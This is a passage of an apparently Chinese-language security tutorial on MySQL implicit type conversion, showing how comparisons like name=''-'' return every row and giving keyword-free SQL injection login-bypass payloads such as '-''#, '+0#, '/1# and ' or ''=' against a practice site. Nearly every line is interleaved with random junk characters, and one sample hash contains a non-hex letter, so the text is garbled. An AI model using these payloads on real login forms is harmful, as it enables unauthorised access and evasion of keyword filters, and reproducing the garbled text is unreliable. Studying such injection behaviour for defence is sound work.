我们先来看这样一个场景。9 ]* m/ C/ S$ t4 U' a
有以下表结构:
5 U1 y5 \0 H: u* j B; i8 a1 G0 A! Y7 k
mysql> desc admin;
: s0 u) e: L% ^& R. }7 o+----------+--------------+------+-----+---------+----------------+
, X& j! Z9 R) U1 V| Field | Type | Null | Key | Default | Extra |
. o* k5 \7 t8 @+ z+----------+--------------+------+-----+---------+----------------+
$ R5 a! E ~$ {) Z8 P9 p, W7 P| id | mediumint(9) | NO | PRI | NULL | auto_increment |+ ]# a7 j ~$ V6 M" f8 u6 H3 V
| name | char(32) | NO | UNI | NULL | |" i$ [5 N( S- h
| password | char(32) | NO | UNI | NULL | |0 n5 n! h0 A! }7 ~3 a: e* }
+----------+--------------+------+-----+---------+----------------+
& x; ~7 W. K5 e6 V' L3 rows in set (0.00 sec)! c; F, h$ N% Z7 B
执行select * from admin;,成功返回所有记录内容。- a: \4 t% L* I& L( x/ R
# O# P' K: Q O; K" ~
j3 \( [0 ?& Y+----+--------+----------------------------------+
: y) y- K) k1 |% b y/ x" E| id | name | password |$ n' k" B* [" f! Y& ~# q2 [% S* L
+----+--------+----------------------------------+! _0 @ `( {8 _- s$ O0 F
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |4 k, F" C* X2 j% b7 C* ~% s' M/ z
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# j& V/ o' R4 S
| 4 | n00b | ff80e8508d39047460921792273533a4 |
4 m* w! f" V+ Z9 V8 H- P, |! x+----+--------+----------------------------------+8 n# ?) O' ]" I7 E Z
3 rows in set (0.00 sec), Z7 j4 W5 t2 |! x( q
执行select * from admin where name=”;,没有匹配到任何记录。
; D, h1 K7 {% x/ ]" ~- V5 F7 ^/ v) b* s2 i! {
mysql> select * from admin where name = '';
% `; c5 @" O+ H8 q r2 zEmpty set (0.00 sec)
/ B. p Y5 w3 }+ ]7 U那么我们来执行select * from admin where name = ”-”;
4 o( S, _7 V: _' T& O1 w& a4 e9 E0 A% \; W% Z+ L, C/ @9 E% \
9 O1 q: S8 J; f9 v/ \- I+----+--------+----------------------------------+
6 \3 Z( f% ^; s4 J; |# D| id | name | password |
- G% y& r9 J" _6 C1 h. @1 q+----+--------+----------------------------------+
0 W+ g: @7 h$ J* U5 R| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |" h' j# @) X, x' D5 z& P7 Q
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
; Z* C6 r5 K' O$ ~8 E| 4 | n00b | ff80e8508d39047460921792273533a4 |. u$ Q2 x& i' G! q A1 D; V- Y
+----+--------+----------------------------------+
1 W! E& b& S4 x5 w3 rows in set, 3 warnings (0.00 sec): ~! }) f* j; i9 Y9 w8 _/ X8 y
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
7 V# o. H) Q5 n0 L8 _
! o+ n7 E }" Imysql> show warnings;$ u2 H" t5 w; h1 F8 Y9 U
+---------+------+------------------------------------------
7 S. j9 _0 E8 y( C| Level | Code | Message
. ?7 a- y7 M4 V& B+---------+------+------------------------------------------
) S- k2 N0 o0 r u, f| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
e, K+ `4 Z {1 K" G* w- S5 M! Y| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
$ s6 P0 K. ] K9 g# q& c| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
( r% u6 ^, d y, |3 H+---------+------+------------------------------------------1 `& @# z' \$ k7 o, z
3 rows in set (0.00 sec)3 B" i" l) x3 u$ K
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 , m/ ^6 H4 F8 P/ C1 ^2 ~
, C: M* W0 d4 t6 k3 v
mysql> select ''-'';
: @5 Q- ^! W* r+-------+. N- ]6 ?4 \, _4 z
| ''-'' |
8 ?0 s6 I/ j, y" Z' [+-------+
; ~2 r6 R x7 z- {& G| 0 |; I: M% j$ G3 N( g
+-------+
; x K% n8 L% D' j- w1 row in set (0.00 sec), }% R, A# R5 D/ _ \. O A0 j
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: . w' H, i+ o, |# O e7 E
; w+ L- } n4 v; J V/ omysql> select CAST((select name from admin limit 1,1) as DECIMAL);
( x" M/ `) Z) R0 |( y" m+-----------------------------------------------------+
0 [6 I$ v$ s' `| CAST((select name from admin limit 1,1) as DECIMAL) |6 X& }1 `( Z, I6 w
+-----------------------------------------------------+. H; H& D9 L+ u, P m# Z6 {
| 0 |0 T+ y3 s% k0 b$ X2 y: w8 Z& o2 O
+-----------------------------------------------------+
: {% k; F v0 _4 D5 D. w8 V1 row in set, 1 warning (0.00 sec)6 O t0 b. D' x2 I, R$ h
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ; G" D/ i- J* ~$ [- ^3 @) g
7 g. @5 H9 d. R( |) A
SQL注入场景: http://www.sqlzoo.net/hack/ . Y: ~3 w% b6 @6 @$ ~' {. ^
$ w* a3 ~ V4 Y4 G0 t; Q6 u6 p0 {) H2 t' _# j p6 Z
8 ]4 w/ I% K7 T3 @
; ~. A" t5 r# U/ m V如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
! L/ z( ?. d( e
; Y) u) s, Z* z. G/ T那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
, ?/ h( I& Y/ F: p4 Z# H# x. O' Y2 U9 o/ u
$ R0 U$ l8 B9 v" m2 f
3 ~( U' E: ]/ V2 ?0 w, v
% ^) p6 D( B2 a& U仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
- ?. n- f( X! ~4 {! s$ p" Z3 g, h2 ~3 S, T2 B
9 `7 {2 z: q* t2 e# S+ } f q$ C# j- z6 P4 C9 G% h
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可; w4 n3 J+ N' N5 O2 c. o1 n# W6 ^
4 V3 R R5 Q% X4 E2 e& K! J% q3 c, @. u& H5 R" p
mysql> select ''/1;: O" q4 f" W K
+------+
! S; X! V* K& N2 F: S- \) t$ v| ''/1 |$ ?8 D& M9 a4 F/ _0 M' L
+------+/ g' \" y) A6 H2 q
| 0 |+ U3 \4 O# B0 e' s. j9 r! Z) }
+------+
. J4 n: N8 d% K0 M7 e( L1 row in set (0.00 sec)
' i k: O5 u9 n$ A3 c8 f类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 * P( t: X, z1 Z2 H
' K: _1 E! _% l利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。3 E$ r6 W9 ^. H- n
|
|